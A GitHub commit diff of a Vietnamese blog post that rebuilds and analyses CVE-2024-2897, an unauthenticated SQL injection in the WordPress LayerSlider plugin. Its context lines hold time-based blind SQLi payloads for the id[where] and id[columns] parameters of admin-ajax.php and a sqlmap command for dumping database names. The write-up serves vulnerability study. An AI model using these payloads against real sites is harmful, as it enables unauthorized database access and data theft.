Skip to content

Commit

Permalink
Update 2024-04-14-Rebuild-and-Exploit-CVE-2024-2897.md
Browse files Browse the repository at this point in the history
fix trinh bay
  • Loading branch information
davidphong authored May 30, 2024
1 parent 6edd20b commit 21198b0
Showing 1 changed file with 34 additions and 29 deletions.
63 changes: 34 additions & 29 deletions _posts/2024-04-14-Rebuild-and-Exploit-CVE-2024-2897.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,26 +43,26 @@ services:
- "./:/var/www/html"
```
Cài đặt website wp bằng docker:
![Image 1](../assets/ManhPost/Post1/img1.png)
![Image 1](../assets/ManhPost/post1/img1.png)
Sau khi cài đặt xong, chúng ta vào docker và start website:
![Image 2](../assets/ManhPost/Post1/img2.png)
![Image 2](../assets/ManhPost/post1/img2.png)
### 2.2 Cấu hình plugin và setup môi trường
Cài đặt plugin LayerSlider v7.9.11 [link](https://www.wplocker.com/plugin-lib/codecanyon/67620146-kreatura-v7911-slider-plugin-for-wordpress.html)
Tại trang admin, ta bắt đầu cài đặt plugin cho website Wordpress
![Image 3](../assets/ManhPost/Post1/img3.png)
![Image 4](../assets/ManhPost/Post1/img4.png)
![Image 3](../assets/ManhPost/post1/img3.png)
![Image 4](../assets/ManhPost/post1/img4.png)
Vì kích thước của plugin LayerSlider có thể vượt quá giới hạn cho phép upload mặc định của wordpress. Nên ta cần phải cấu hình lại file php.ini để cho dung lượng phù hợp
![Image 5](../assets/ManhPost/Post1/img5.png)
![Image 5](../assets/ManhPost/post1/img5.png)
Trên Docker console ta sử dụng lệnh:
```bash
find / -type f -name "*php*ini*"
```

Để tìm tất cả các file có chứa cụm từ “php” và “ini” có trong server.
![Image 6](../assets/ManhPost/Post1/img6.png)
![Image 6](../assets/ManhPost/post1/img6.png)

Không thấy file php.ini vậy nên ta phải tự tạo và cấu hình lại file php.ini
Chuyển tới thư mục:
Expand All @@ -72,12 +72,12 @@ Chuyển tới thư mục:
```

Sau đó tạo file php.ini
![Image 7](../assets/ManhPost/Post1/img7.png)
![Image 7](../assets/ManhPost/post1/img7.png)
Ta bắt đầu sửa lại file php.ini vừa tạo
![Image 8](../assets/ManhPost/Post1/img8.png)
![Image 9](../assets/ManhPost/Post1/img9.png)
![Image 8](../assets/ManhPost/post1/img8.png)
![Image 9](../assets/ManhPost/post1/img9.png)
Restart lại container và add lại plugin:
![Image 10](../assets/ManhPost/Post1/img10.png)
![Image 10](../assets/ManhPost/post1/img10.png)
Sau đó active plugin là thành công.

## Phân tích lỗ hổng
Expand All @@ -88,7 +88,7 @@ Báo cáo cho thấy lỗ hổng xảy ra tại api
http://localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id%5Bwhere%5D=1
```
với tham số **id[where]=1** các câu lệnh độc hại sẽ được truyền vào để thực thi.
![Image 11](../assets/ManhPost/Post1/img11.png)
![Image 11](../assets/ManhPost/post1/img11.png)
Phân tích cách hoạt động của api:

- Yêu Cầu từ Client: Một script JavaScript gửi yêu cầu tới **admin-ajax.php** (*) thông qua phương thức **GET** hoặc **POST**. Yêu cầu này bao gồm một số thông tin như hành động (action) định nghĩa nhiệm vụ cần thực hiện và các tham số khác.
Expand All @@ -99,7 +99,7 @@ Phân tích cách hoạt động của api:

Trong trường hợp api trên, php thực thi hành động **wp_ajax_nopriv_{action}** với **action=ls_get_popup_markup**. Kẻ tấn công không xác thực đăng nhập

![Image 12](../assets/ManhPost/Post1/img12.png)
![Image 12](../assets/ManhPost/post1/img12.png)
Ta bắt đầu truy vết xem action **ls_get_popup_markup** bắt nguồn từ đâu.
Sử dụng lệnh

Expand All @@ -108,9 +108,9 @@ grep -r “ls_get_popup_markup”
```

để tìm kiếm tất cả các file có chứa action trên
![Image 13](../assets/ManhPost/Post1/img13.png)
![Image 13](../assets/ManhPost/post1/img13.png)
Ta có thể thấy tại file **wp-content/plugins/LayerSlider.7.9.11/assets/wp/actions.php** có chứa action này. Ta truy cập vào để tìm kiếm.
![Image 14](../assets/ManhPost/Post1/img14.png)
![Image 14](../assets/ManhPost/post1/img14.png)

Bắt đầu phân tích hàm này ta thấy được:

Expand All @@ -119,36 +119,36 @@ Bắt đầu phân tích hàm này ta thấy được:
- Biến **$popup** nhận kết quả truy vấn từ **LS_Sliders::find( $id );**

=> chúng ta cần xem **LS_Sliders::find( $id );** hoạt động như thế nào.
![Image 15](../assets/ManhPost/Post1/img15.png)
![Image 15](../assets/ManhPost/post1/img15.png)
trong lớp **LS_Sliders**, phương thức **find()** được định nghĩa nhận vào giá trị là 1 mảng. Tuy nhiên, trong PHP điều đó không giới hạn kiểu dữ liệu của các giá trị được truyền đến hàm. Các kiểu dữ liệu khác khi được truyền vào đều được chấp nhận và được xử lý thành từng thành phần riêng biệt theo các điều kiện check.

Khi là số thì trả về kết quả truy vấn theo số, khi giá trị là ‘random’ thì trả về kết quả ngẫu nhiên, là string thì truy vấn theo string, là mảng thì truy vấn theo từng giá trị.
Còn các kiểu khác thì sẽ được xử lý riêng. Và trọng tâm khai thác của chúng ta ở phần **//Find by query này**
![Image 16](../assets/ManhPost/Post1/img16.png)
![Image 16](../assets/ManhPost/post1/img16.png)

Ở phần **query**, ta thấy được một số giá trị mặc định được gán sẵn giá trị được gán trở lại biến $args ban đầu. Tuy nhiên nó có một nhược điểm chí mạng là điều kiện để gán đó là giá trị của từ điển **$args** phải rỗng (chưa được set value) vậy nên ta có thể tùy ý thay đổi các giá trị mặc định đó.

Đặt debug để output các giá trị:
![Image 17](../assets/ManhPost/Post1/img17.png)
![Image 17](../assets/ManhPost/post1/img17.png)
debug ở hàm **ls_get_popup_markup**:
![Image 18](../assets/ManhPost/Post1/img18.png)
![Image 18](../assets/ManhPost/post1/img18.png)

Payload:
```http
http://localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=hello&id[columns]=bruh%20bruh&id[page]=jksdkjdsf
```
![Image 19](../assets/ManhPost/Post1/img19.png)
![Image 19](../assets/ManhPost/post1/img19.png)
tiếp tục xuống bên dưới, ta thấy được phần xử lý escape data người dùng nhập vào một cách sơ sài:
![Image 20](../assets/ManhPost/Post1/img20.png)
![Image 20](../assets/ManhPost/post1/img20.png)
hàm **esc_sql()**: dùng để chống sqli nhưng nó chỉ đơn giản escape ký tự ******** thành **\’****\”** => dễ bypass

Payload:
```http
http://localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=hello&id[columns]=bruh%20bruh&id[page]=jksdkjdsf%27%27
```
![Image 21](../assets/ManhPost/Post1/img21.png)
![Image 21](../assets/ManhPost/post1/img21.png)
tiếp theo đó các giá trị defaults ban đầu được gán thành các giá trị mặc định được chuẩn bị sẵn. Nhưng chỉ có **$args[‘where']** là không cài đặt giá trị.
![Image 22](../assets/ManhPost/Post1/img22.png)
![Image 22](../assets/ManhPost/post1/img22.png)
Cùng với đó câu lệnh:

```php
Expand All @@ -161,22 +161,22 @@ Payload:
```htttp
http://localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=hello&id[columns]=bruh bruh&id[page]=jksdkjdsf&id[orderby]=null
```
![Image 23](../assets/ManhPost/Post1/img23.png)
![Image 23](../assets/ManhPost/post1/img23.png)

các giá trị được truyền vào đều bị thay đổi ngoại trừ giá trị của **where****columns**

=> 2 tham số bị lỗ hổng sqli, tham số **$args[‘where’]** (đã được công bố) tham số **$args[‘columns’]** (mới tìm ra trong quá trình xây dựng lại).

Tiếp tục phân tích xuống bên dưới ta thấy được tại điều kiện thứ 2, biến $where được lấy giá trị trực tiếp từ **$args[‘where’]** và nối tiếp vào câu truy vấn được cài đặt sẵn.
![Image 24](../assets/ManhPost/Post1/img24.png)
![Image 24](../assets/ManhPost/post1/img24.png)
Và cuối cùng khi thực hiện truy vấn, đoạn code lấy giá trị trực tiếp từ 2 biến $args[‘where’] và $args[‘columns'] để thực thi:
![Image 25](../assets/ManhPost/Post1/img25.png)
![Image 25](../assets/ManhPost/post1/img25.png)

payload:
```http
http://localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=hello&id[columns]=bruh%20bruh
```
![Image 26](../assets/ManhPost/Post1/img26.png)
![Image 26](../assets/ManhPost/post1/img26.png)
Test lần lượt các tham số:

- với tham số **$args[‘columns’]** :
Expand All @@ -185,15 +185,15 @@ Payload:
```http
localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[columns]=id AND (SELECT 2867 FROM (SELECT(SLEEP(2)))zLaK)
```
![Image 27](../assets/ManhPost/Post1/img27.png)
![Image 27](../assets/ManhPost/post1/img27.png)

- với tham số **$args[‘where’]**:

payload:
```http
http://localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1%20AND%20IF(%201=1,%20(select%201%20from%20(select%20(sleep%20(10)))%20as%20tmp),%201%20)
```
![Image 28](../assets/ManhPost/Post1/img28.png)
![Image 28](../assets/ManhPost/post1/img28.png)
## POC

Dưới đây là đoạn mã khai thác CVE-2024-2897 bằng python (lấy ra tên DBS).
Expand Down Expand Up @@ -275,9 +275,14 @@ Tiếp theo đến khai thác bằng **Sqlmap**:
sqlmap -u "localhost:8000/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[columns]=id" --dbs -p id[columns] --threads=10 --time-sec=2 --flush-session
```
payload:
Parameter: id[columns] (GET)
Parameter:

id[columns] (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: action=ls_get_popup_markup&id[columns]=id AND (SELECT 3890 FROM (SELECT(SLEEP(2)))vQYk)
## Chú thích
(*) Trong WordPress, file admin-ajax.php đóng vai trò xử lý các yêu cầu AJAX từ phía máy khách (client-side) tới máy chủ (server-side). AJAX (Asynchronous JavaScript and XML) là một kỹ thuật phát triển web cho phép các trang web thực hiện yêu cầu đến máy chủ và tải dữ liệu mà không cần phải tải lại toàn bộ trang.
Expand Down

0 comments on commit 21198b0

Please sign in to comment.